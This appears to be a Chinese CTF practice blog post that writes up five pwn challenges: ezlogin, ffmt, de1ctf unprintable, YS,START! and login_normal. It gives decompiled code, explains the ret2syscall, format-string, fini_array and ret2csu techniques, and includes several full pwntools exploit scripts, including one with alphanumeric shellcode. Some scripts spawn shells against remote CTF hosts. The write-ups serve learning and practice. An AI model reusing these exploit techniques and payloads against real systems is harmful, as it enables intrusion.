刷题记录2 [LitCTF 2023]ezlogin 首先是符号表的恢复,将随便一个libc.so的i64文件,拖到bindiff里,然后import即可恢复大部分的函数
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { const char **v3; __int64 v5; setbuffer(off_6B97A8, 0LL ); setbuffer(off_6B97A0, 0LL ); setbuffer(off_6B9798, 0LL ); while ( !vlun(&v5, 0LL , v3) ) ; puts ("GoodTime." ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 int __cdecl vlun (int v5, const char **argv, const char **envp) { char v4[536 ]; puts ("Input your password:" ); memset (v4, 0 , 0x200 uLL); if ( read(0 , v4, 0x200 uLL) > 0x50 u ) exit (-1 ); j_strcpy(*&v5, v4); return strcmp (v4, "PASSWORD" ) == 0 ; }
可以发现v5处有个栈溢出,可以实现ret2syscall
其中的限制read发现汇编
1 2 .text:0000000000400C07 3C 50 cmp al, 50h .text:0000000000400C09 77 33 ja short loc_400C3E
主要是如果al>50h的话就会exit,而显然al只有一个字节8位,所以只要刚好当al=0的时候即他的低位<=50h即可(学到了,还可以这样搞
接下来就是要思考如何绕过strcpy的\x00截断了,因为我们的rop链显然会有大量的\x00
如何绕过呢?有一个思路就是先把已经构造好的rop链将\x00都替换成A传进去,然后再一字节一字节更改位\x00
1 2 3 4 5 6 7 8 9 def gadget (content ): content = content + b'\x00' content = content[-1 ::-1 ] for i in range (0 , len (content)): if content[i] == 0 : payload = content[i+1 :][-1 ::-1 ].replace(b'\x00' , b'A' ) padding = b'A' * 0x108 log.success('Payload: ' + (str (payload))) io.sendafter(b'password:' , padding + payload)
这个脚本主要是绕过\x00截断的,然后他是先把payload的\x00都换成A,然后将payload倒置过来,之后找到第一个\x00将其之后的,即倒置过来看就是找到最后一个\x00将其的之前所有的\x00都替换为A然后输入,之后就是从\x00之前再寻找最后一个\x00一直重复找,就可以将所有的字节输入进去辣,(使我的大脑无限旋转
之后的rop链就很简单构造了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *io = process('./ezlogin' ) elf = ELF('./ezlogin' ) libc = ELF('/home/bamboo/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) context(arch='amd64' , os='linux' , log_level='debug' ) rax = 0x4005AF rdi = 0x400706 rsi = 0x410043 rdx = 0x448C95 syscall = 0x448D5F bss = 0x6BB300 main = 0x4005C0 def debug (): gdb.attach(io) pause() def gadget (content ): content = content + b'\x00' content = content[-1 ::-1 ] for i in range (0 , len (content)): if content[i] == 0 : payload = content[i+1 :][-1 ::-1 ].replace(b'\x00' , b'A' ) padding = b'A' * 0x108 log.success('Payload: ' + (str (payload))) io.sendafter(b'password:' , padding + payload) debug() Payload = p64(rax) + p64(0 ) + p64(rdi) + p64(0 ) + p64(rsi) + p64(bss) + p64(syscall) + p64(main) gadget(Payload) Payload = b'PASSWORD\x00' io.sendafter(b'password:' , Payload) io.send(b'/bin/sh\x00' ) Payload = p64(rax) + p64(59 ) + p64(rdi) + p64(bss) + p64(rsi) + p64(0 ) + p64(rdx) + p64(0 ) + p64(syscall) gadget(Payload) Payload = b'PASSWORD\x00' io.sendafter(b'password:' , Payload) io.interactive()
[HZNUCTF 2023 preliminary]ffmt
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[8 ]; init(argc, argv, envp); puts ("Welcome to HCNUCTF!" ); puts ("Your name: " ); read(0 , buf, 8uLL ); printf (buf); puts (", hell0, please say something about yourself~" ); vuln(); return 0 ; }
发现一个格式化字符串漏洞
1 2 3 4 5 6 7 int vuln () { char buf[32 ]; read(0 , buf, 0x20 uLL); return printf (buf); }
这里还有一个,程序中有个backdoor,因此想的是改尾巴一个字节到backdoor,因此就能想到第一个格式化字符串漏洞泄露栈地址,然后第二个直接改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context.log_level='debug' path='./ffmt' elf=ELF(path) r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda name,addr :info(f'{name} ====>{hex (addr)} ' ) local=0 def run (): if local: return process(path) return remote('node5.anna.nssctf.cn' ,25151 ) def debug (duan=0 ): if local: if duan: gdb.attach(p,duan) pause() return gdb.attach(p) pause() p=run() sla(b'Your name: \n' ,b'%11$p' ) r(2 ) ret_addr=int (r(12 ),16 )-0x140 +48 leak('ret_addr' ,ret_addr) pal=b'%35c%8$hhnaaaaaa' + p64(ret_addr) sla(b'yourself~\n' ,pal) irt()
很经典的格式化字符串漏洞
64位格式字符串漏洞的偏移到栈上是从rsp下面一个开始的
%hhn 写一字节
%hn 写两字节
%n 把已经成功输出的字符个数写入对应的整型指针参数所指的变量。将栈上的内容作为地址解析,然后改变这个地址上的内容,写四字节
%ln 32位写四字节,64位写八字节
%lln 写八字节
太久没做都着了道了
de1ctf_2019_unprintable 本题的环境是libc-2.23.so的,如果版本不一样会导致栈空间不一样不能getshell(一晚上(lll¬ω¬)得来的
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char v3[8 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("Welcome to Ch4r1l3's printf test" ); printf ("This is your gift: %p\n" , v3); close(1 ); read(0 , buf, 0x1000 uLL); printf (buf); exit (0 ); }
发现给了栈的地址,然后关闭了标准输出流,又有一个非栈上的格式化字符串漏洞(0x601060)(buff拉满了(bushi
这题考到一个小trick:
exit会调用dl_fini
函数,我们看看dl_fini
函数的源码
会发现执行的时候调用(l->l_addr+l->l_info[DY_FINI_ARRAY]->d_un.d_ptr),本来l->l_addr为0,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的地址,也就是l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x0000000000600DD8
这时就通过覆盖I->I_addr来劫持fini_array的地址
执行exit中的调用函数(发现雀氏
发现栈上
有个I->I_addr的地址,就可以通过改这个地址上的值来偏移
其中可以通过看这个与众不同的颜色可以知道这是来自于ld.so文件里的,而这个地址为什么恰好出现在栈上可能是因为在exit函数中,会通过这个来调用dl_fini函数
通过fmtarg查偏移(问就是懒(bushi
1 payload =tbs('%' +str (0x298 )+'c' +'%26$hn' ).ljust(0x10 ,b'\x00' )+p64(read_addr)
通过这个便可以二次利用read了
而第二次的printf得到的栈空间有着成堆的rop链,非常好的进行构造
1和2指向的都是栈空间,能实现在栈空间的任意写,而2能实现printf_loop,或者rip的任意写
有了任意写之后就要用ROP来getshell了
(在此发现这题的exp有点复杂,因此只做思路上的利用,就不打了(等之后再次遇到相似的题目再进行利用≧ ﹏ ≦
在libc_csu_init中可以控制rbx rbp r12 r13 r14 r15
然后有一个rop
1 .text:00000000004006E8 adc [rbp+48h] , edx
它的作用是将exp+[rbp+48h]的值之后存储在rbp+48h中(最神奇的地方,第一次利用这种rop
而其中的edx和rbp都是可以控制的,所以我们就可以实现一次任意写。
可以看到程序空间里存在stderr,stdin,stdout,它们都指向libc,所以可以修改它们为one_gadget来getshell。
在关闭aslr的情况下stderr和one_gadget分别为:
1 2 stderr = 0 x601040 one = 0 x7ffff7afe147
计算偏移修改即可。
修改完之后再次利用ret2csu传stderr的地址给r12,**最后调用call qword ptr [r12+rbx*8]**拿到shell。
(非常好的思路让我大脑旋转
附上完整exp :(from )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 from pwn_debug import *pdbg=pwn_debug("1" ) pdbg.context.terminal=['tmux' , 'splitw' , '-h' ] context.log_level='debug' pdbg.local("" ) pdbg.debug("2.23" ) pdbg.remote('111.198.29.45' ,) switch=1 if switch==1 : p=pdbg.run("local" ) elif switch==2 : p=pdbg.run("debug" ) elif switch==3 : p=pdbg.run("remote" ) s = lambda data :p.send(str (data)) sa = lambda delim,data :p.sendafter(str (delim), str (data)) sl = lambda data :p.sendline(str (data)) sla = lambda delim,data :p.sendlineafter(str (delim), str (data)) r = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) it = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 , '' )) uu64 = lambda data :u64(data.ljust(8 , '' )) bp = lambda bkp :pdbg.bp(bkp) sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05" def pwn (): pop_rsp=0x40082d ru('This is your gift: ' ) stack=int (ru('n' ),16 ) print hex (stack) payload1='%' +str (0x298 )+'c' +'%26$hn' payload1=payload1.ljust(16 ,'x00' )+p64(0x4007A3 ) sleep(0.1 ) sl(payload1) bp([0x4007c1 ]) sleep(0.1 ) payload2='%' +str (0xa3 )+'c%23$hhn' sl(payload2) input () sleep(0.1 ) stack_tail=(stack-280 )&0xff payload3='%' +str (0x48 )+'c%18$hhn' +'%' +str (0xa3 -0x48 )+'c%23$hhn' sleep(0.1 ) sl(payload3) sleep(0.2 ) payload4='%' +str (stack_tail)+'c%18$hhn' +'%' +str (0xa3 -stack_tail)+'c%23$hhn' sl(payload4) sleep(0.1 ) payload5='%13$n' +'%' +str (0xa3 )+'c%23$hhn' sl(payload5) sleep(0.2 ) payload4='%' +str (stack_tail+4 )+'c%18$hhn' +'%' +str (0xa3 -stack_tail-4 )+'c%23$hhn' sl(payload4) sleep(0.1 ) payload5='%13$n' +'%' +str (0xa3 )+'c%23$hhn' sl(payload5) sleep(0.2 ) payload4='%' +str (stack_tail+4 )+'c%18$hhn' +'%' +str (0xa3 -stack_tail-4 )+'c%23$hhn' sl(payload4) sleep(0.1 ) payload5='%13$n' +'%' +str (0xa3 )+'c%23$hhn' sl(payload5) sleep(0.2 ) payload4='%' +str (stack_tail)+'c%18$hhn' +'%' +str (0xa3 -stack_tail)+'c%23$hhn' sl(payload4) sleep(0.1 ) payload5='%' +str (0xa3 )+'c%23$hhn' +'%' +str (0x10a0 -0xa3 )+'c%13$hn' sl(payload5) sleep(0.2 ) payload4='%' +str (stack_tail+2 )+'c%18$hhn' +'%' +str (0xa3 -stack_tail-2 )+'c%23$hhn' sl(payload4) sleep(0.1 ) payload5='%' +str (0x60 )+'c%13$hhn' +'%' +str (0xa3 -0x60 )+'c%23$hhn' sl(payload5) prbp = 0x400690 prsp = 0x40082d adc = 0x4006E8 ''' adc DWORD PTR [rbp+0x48],edx mov ebp,esp call 0x400660 <deregister_tm_clones> pop rbp mov byte ptr [rip + 0x20094e], 1 <0x601048> ret mov eax,0x601017 push rbp sub rax,0x601010 cmp rax,0xe mov rbp,rsp jbe 0x400690 pop rbp ret ''' arsp = 0x0400848 prbx = 0x40082A call = 0x400810 stderr = 0x601040 one= 0x7ffff7afe147 rop=0x6010a0 payload6 = p64(arsp)*3 payload6 += flat(prbx,0 ,stderr-0x48 ,rop,0xFFD2BC07 ,0 , 0 , call) payload6 += flat(adc,0 ,prbx,0 ,0 ,stderr,0 ,0 ,0 ,0x400819 ) sleep(1 ) payload5='%' +str (0x82d )+'c%23$hn' payload5=payload5.ljust(0x40 ,'x00' )+payload6 sl(payload5) it() if __name__=='__main__' : while 1 : try : pwn() except : p.close() p=pdbg.run("local" )
d3ctf_2019_unprintablev
禁掉了execve
实力不济(先鸽了
[第六届强网拟态线下赛]fmt
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { __int64 savedregs; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); printf ("Gift: %x\n" , (unsigned __int16)((unsigned __int16)&savedregs - 12 )); read(0 , buf, 0x100 uLL); printf (buf); _exit(0 ); }
一个栈的后四位地址,然后还有一个非栈上的格式化字符串漏洞(一头雾水
实力不济(先鸽了
[FSCTF 2023]YS,START!
这题目比较阴间的地方就是不能反汇编,但是有点玄学,就是把ret undefine掉就可以反汇编了,不理解但是大为震撼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 void __cdecl main () { int v0; int v1; int v2; int v3; int v4; int v5; int v6; int v7; int v8; int v9; int v10; int v11; int v12; int v13; int v14; int v15; int v16; int v17; int v18; int v19; int v20; int v21; int v22; _DWORD v23[35 ]; int v24; unsigned int buf; int v26; int v27; int fd; char s2[16 ]; char format[16 ]; char s1[16 ]; unsigned int v32; v32 = __readgsdword(0x14 u); dword_804C044 = 0 ; fd = open("/dev/urandom" , 0 ); read(fd, &buf, 4u ); buf %= 0xF4240 u; puts ("Ciallo~(∠・ω< )⌒☆, What is your name?" ); __isoc99_scanf("%15s" , format, v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17); printf (format); puts (",PLAY Genshin Impact?(y or n)" ); read(0 , (char *)&v24 + 3 , 1u ); getchar(); if ( HIBYTE(v24) == 'n' ) { puts ("goodbye" ); } else { read(fd, &v26, 4u ); read(fd, s2, 0xF u); puts ("Please enter your account and password" ); printf ("Account:" ); __isoc99_scanf( "%d" , &v27, v18, v19, v23, v20, v21, v22, v23[0 ], v23[1 ], v23[2 ], v23[3 ], v23[4 ], v23[5 ], v23[6 ], v23[7 ], v23[8 ], v23[9 ], v23[10 ], v23[11 ]); printf ("Password:" ); __isoc99_scanf( "%15s" , s1, v23[14 ], v23[15 ], v23[16 ], v23[17 ], v23[18 ], v23[19 ], v23[20 ], v23[21 ], v23[22 ], v23[23 ], v23[24 ], v23[25 ], v23[26 ], v23[27 ], v23[28 ], v23[29 ], v23[30 ], v23[31 ]); if ( v27 == v26 && !strcmp (s1, s2) ) dword_804C044 = 1 ; if ( dword_804C044 ) { puts ("Login is risky. The verification code has been sent to 151xxxx1916" ); puts ("Please enter the verification code:" ); ((void (__stdcall *)(const char *, int *, _DWORD, int , unsigned int , int ))__isoc99_scanf)( "%d" , &v27, v23[34 ], v24, buf, v26); if ( v27 == buf ) { puts ("Genshin Impact, start!" ); system("/bin/sh" ); } else { puts ("verification code error" ); } } else { puts ("Account or password error" ); } } if ( v32 != __readgsdword(0x14 u) ) sub_80494D0(); JUMPOUT(0x80494C5 ); }
逆向并不难
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *import binasciicontext.log_level='debug' elf=ELF('./start2' ) p=process('./start2' ) pal=p32(0x0804C044 )+b'%15$hn' +b'%7$p' p.sendlineafter(b'What is your name?\n' ,pal) data=p.recvuntil(b",P" , drop=True )[-5 :] print (data)p.sendafter(b'LAY Genshin Impact?(y or n)\n' ,b'y' ) p.sendlineafter(b'Please enter your account and password\n' ,b'1\na' ) p.sendlineafter(b'Please enter the verification code:\n' ,str (int (data,16 ))) p.interactive()
这样就打通了。。//
如何解决ida7.7反编译不了 之后去问了菜哥,他的8.3ida是反编译得了的,然后提示信息是0x80493A9
上栈帧出了问题,而我们undefine掉ret会发现scanf的参数十分的多,这就是问题所在了(以前一直以为是常态),因此到scanf点击y,将参数改成两个就可以成功反编译了
这样就可以成功了
可以看到成功的代码就是如此的赏心悦目
[CISCN 2022 初赛]login_normal 本题的漏洞点不难,只是逆向要花点时间
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { char s[1032 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); init_0(); while ( 1 ) { memset (s, 0 , 0x400 uLL); printf (">>> " ); read(0 , s, 0x3FF uLL); sub_FFD(s); } }
首先是读点数据,然后传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 unsigned __int64 __fastcall sub_FFD (const char *ptr) { char *sa; char *sb; char *sc; char *sd; char v7; int v8; int v9; void *dest; char *ptr2; char *nptr; unsigned __int64 v13; v13 = __readfsqword(0x28 u); memset (qword_202040, 0 , sizeof (qword_202040)); v8 = 0 ; v7 = 0 ; dest = 0LL ; while ( !*ptr || *ptr != '\n' && (*ptr != '\r' || ptr[1 ] != '\n' ) ) { if ( v8 <= 5 ) qword_202040[2 * v8] = ptr; sb = strchr (ptr, ':' ); if ( !sb ) { puts ("error." ); exit (1 ); } *sb = 0 ; for ( sc = sb + 1 ; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t' ); ++sc ) *sc = 0 ; if ( !*sc ) { puts ("abort." ); exit (2 ); } if ( v8 <= 5 ) qword_202040[2 * v8 + 1 ] = sc; sd = strchr (sc, '\n' ); if ( !sd ) { puts ("error." ); exit (3 ); } *sd = 0 ; ptr = sd + 1 ; if ( *ptr == '\r' ) *ptr++ = 0 ; ptr2 = (char *)qword_202040[2 * v8]; nptr = (char *)qword_202040[2 * v8 + 1 ]; if ( !strcasecmp(ptr2, "opt" ) ) { if ( v7 ) { puts ("error." ); exit (5 ); } v7 = atoi(nptr); } else { if ( strcasecmp(ptr2, "msg" ) ) { puts ("error." ); exit (4 ); } if ( strlen (nptr) <= 1 ) { puts ("error." ); exit (5 ); } v9 = strlen (nptr) - 1 ; if ( dest ) { puts ("error." ); exit (5 ); } dest = calloc (v9 + 8 , 1uLL ); if ( v9 <= 0 ) { puts ("error." ); exit (5 ); } memcpy (dest, nptr, v9); } ++v8; } *ptr = 0 ; sa = (char *)(ptr + 1 ); if ( *sa == 10 ) *sa = 0 ; switch ( v7 ) { case 2 : sub_DA8(dest); break ; case 3 : sub_EFE(dest); break ; case 1 : sub_CBD(dest); break ; default : puts ("error." ); exit (6 ); } return __readfsqword(0x28 u) ^ v13; }
这一串代码看着让人怀疑人生,因此分段分析,主要分为3部分,1:初始化,2:判断字符串格式并将相应位置的值传进去,3:便是switch,功能函数
判断字符串格式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 while ( !*ptr || *ptr != '\n' && (*ptr != '\r' || ptr[1 ] != '\n' ) ){ if ( v8 <= 5 ) qword_202040[2 * v8] = ptr; sb = strchr (ptr, ':' ); if ( !sb ) { puts ("error." ); exit (1 ); } *sb = 0 ; for ( sc = sb + 1 ; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t' ); ++sc ) *sc = 0 ; if ( !*sc ) { puts ("abort." ); exit (2 ); } if ( v8 <= 5 ) qword_202040[2 * v8 + 1 ] = sc; sd = strchr (sc, '\n' ); if ( !sd ) { puts ("error." ); exit (3 ); } *sd = 0 ; ptr = sd + 1 ; if ( *ptr == '\r' ) *ptr++ = 0 ; ptr2 = (char *)qword_202040[2 * v8]; nptr = (char *)qword_202040[2 * v8 + 1 ]; if ( !strcasecmp(ptr2, "opt" ) ) { if ( v7 ) { puts ("error." ); exit (5 ); } v7 = atoi(nptr); } else { if ( strcasecmp(ptr2, "msg" ) ) { puts ("error." ); exit (4 ); } if ( strlen (nptr) <= 1 ) { puts ("error." ); exit (5 ); } v9 = strlen (nptr) - 1 ; if ( dest ) { puts ("error." ); exit (5 ); } dest = calloc (v9 + 8 , 1uLL ); if ( v9 <= 0 ) { puts ("error." ); exit (5 ); } memcpy (dest, nptr, v9); } ++v8; }
一个判断就占大部分的代码段,建议放在逆向里(bushi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 if ( v8 <= 5 ) qword_202040[2 * v8] = ptr; sb = strchr (ptr, ':' ); if ( !sb ){ puts ("error." ); exit (1 ); } *sb = 0 ; for ( sc = sb + 1 ; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t' ); ++sc ) *sc = 0 ; if ( !*sc ){ puts ("abort." ); exit (2 ); } if ( v8 <= 5 ) qword_202040[2 * v8 + 1 ] = sc; sd = strchr (sc, '\n' ); if ( !sd ){ puts ("error." ); exit (3 ); } *sd = 0 ; ptr = sd + 1 ; if ( *ptr == '\r' ) *ptr++ = 0 ; ptr2 = (char *)qword_202040[2 * v8]; nptr = (char *)qword_202040[2 * v8 + 1 ];
首先qword_202040数组的第一个参数是传进来的字符串的开头,然后sb便是字符串中:
的下一个字符,之后sc就是sb之后的正常的可读字符,然后qword_202040的第二个参数就是sc,即:
后的可读字符,然后再找到sc之后即:后面的一个\n
,存进sd里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 if ( !strcasecmp(ptr2, "opt" ) ){ if ( v7 ) { puts ("error." ); exit (5 ); } v7 = atoi(nptr); } else { if ( strcasecmp(ptr2, "msg" ) ) { puts ("error." ); exit (4 ); } if ( strlen (nptr) <= 1 ) { puts ("error." ); exit (5 ); } v9 = strlen (nptr) - 1 ; if ( dest ) { puts ("error." ); exit (5 ); } dest = calloc (v9 + 8 , 1uLL ); if ( v9 <= 0 ) { puts ("error." ); exit (5 ); } memcpy (dest, nptr, v9); } ++v8;
之后就是判断字符串的开头必须是msg或者opt然后跟上:
,:
之后就是dest或v7的值
从而得知格式要求:
1 opt:v7\nmsg:dest\n 或者msg:dest\nopt:v7\n
漏洞点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 unsigned __int64 __fastcall sub_DA8 (const char *a1) { unsigned int v1; size_t v2; int i; void *dest; unsigned __int64 v6; v6 = __readfsqword(0x28 u); for ( i = 0 ; i < strlen (a1); ++i ) { if ( !isprint (a1[i]) && a1[i] != '\n' ) { puts ("oh!" ); exit (-1 ); } } if ( unk_202028 != 1 ) { puts ("oh!" ); exit (-1 ); } if ( unk_202024 ) { v1 = getpagesize(); dest = (void *)(int )mmap((char *)&loc_FFE + 2 , v1, 7 , 34 , 0 , 0LL ); v2 = strlen (a1); memcpy (dest, a1, v2); ((void (*)(void ))dest)(); } else { puts (a1); } return __readfsqword(0x28 u) ^ v6; }
要求是unk_202024这个上面的值要为真,进而会执行dest上的函数,之前的mmap是为了让执行段可执行,映射到内存里,不然一直都在栈上显然是不可以执行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 __fastcall sub_CBD (const char *a1) { int i; unsigned __int64 v3; v3 = __readfsqword(0x28 u); for ( i = 0 ; i < strlen (a1); ++i ) { if ( !isprint (a1[i]) && a1[i] != 10 ) { puts ("oh!" ); exit (-1 ); } } if ( !strcmp (a1, "ro0t" ) ) { unk_202028 = 1 ; unk_202024 = 1 ; } else { unk_202028 = 1 ; } return __readfsqword(0x28 u) ^ v3; }
显然要先传进去ro0t但是它上面传输的字节其实是少传一个字节因此要多传一个无用字节
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context.log_level='debug' path='./login2' elf=ELF(path) amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA" r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda name,addr :info(f'{name} ====>{hex (addr)} ' ) local=1 def run (): if local: return process(path) return remote('node4.anna.nssctf.cn' ,28735 ) def debug (duan=0 ): if local: if duan: gdb.attach(p,duan) pause() return gdb.attach(p) pause() p=run() context.arch='amd64' context.os='linux' payload=b'msg:ro0tt\nopt:1\n' ru(b'>>> ' ) sl(payload) payload=b'opt:2\nmsg:' +amd64shell+b'\n' ru(b'>>> ' ) sl(payload) p.interactive()